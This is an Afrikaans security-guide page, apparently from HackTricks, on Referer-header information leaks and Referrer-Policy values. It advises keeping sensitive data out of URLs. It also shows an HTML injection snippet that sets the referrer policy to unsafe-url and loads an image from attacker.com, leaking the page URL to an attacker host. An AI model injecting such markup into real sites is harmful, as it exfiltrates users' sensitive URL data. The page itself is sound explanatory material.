3.5 KiB
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Verwysingshoofers en beleid
Verwysing is die hoofer wat deur webblaaier gebruik word om aan te dui watter vorige bladsy besoek is.
Gelekte sensitiewe inligting
As op enige punt binne 'n webbladsy enige sensitiewe inligting op GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of as 'n aanvaller in staat is om die gebruiker te laat besoek maak aan 'n URL wat deur die aanvaller beheer word. Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek uit te voer.
Versagting
Jy kan die blaaier laat volg 'n Verwysingsbeleid wat die sensitiewe inligting kan verhoed om na ander webtoepassings gestuur te word:
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
Teenmaatreëls
Jy kan hierdie reël oorskryf deur 'n HTML meta-etiket te gebruik (die aanvaller moet HTML-inspuiting benut):
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
Verdediging
Plaas nooit enige sensitiewe data binne GET parameters of paaie in die URL.
Leer AWS hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking truuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.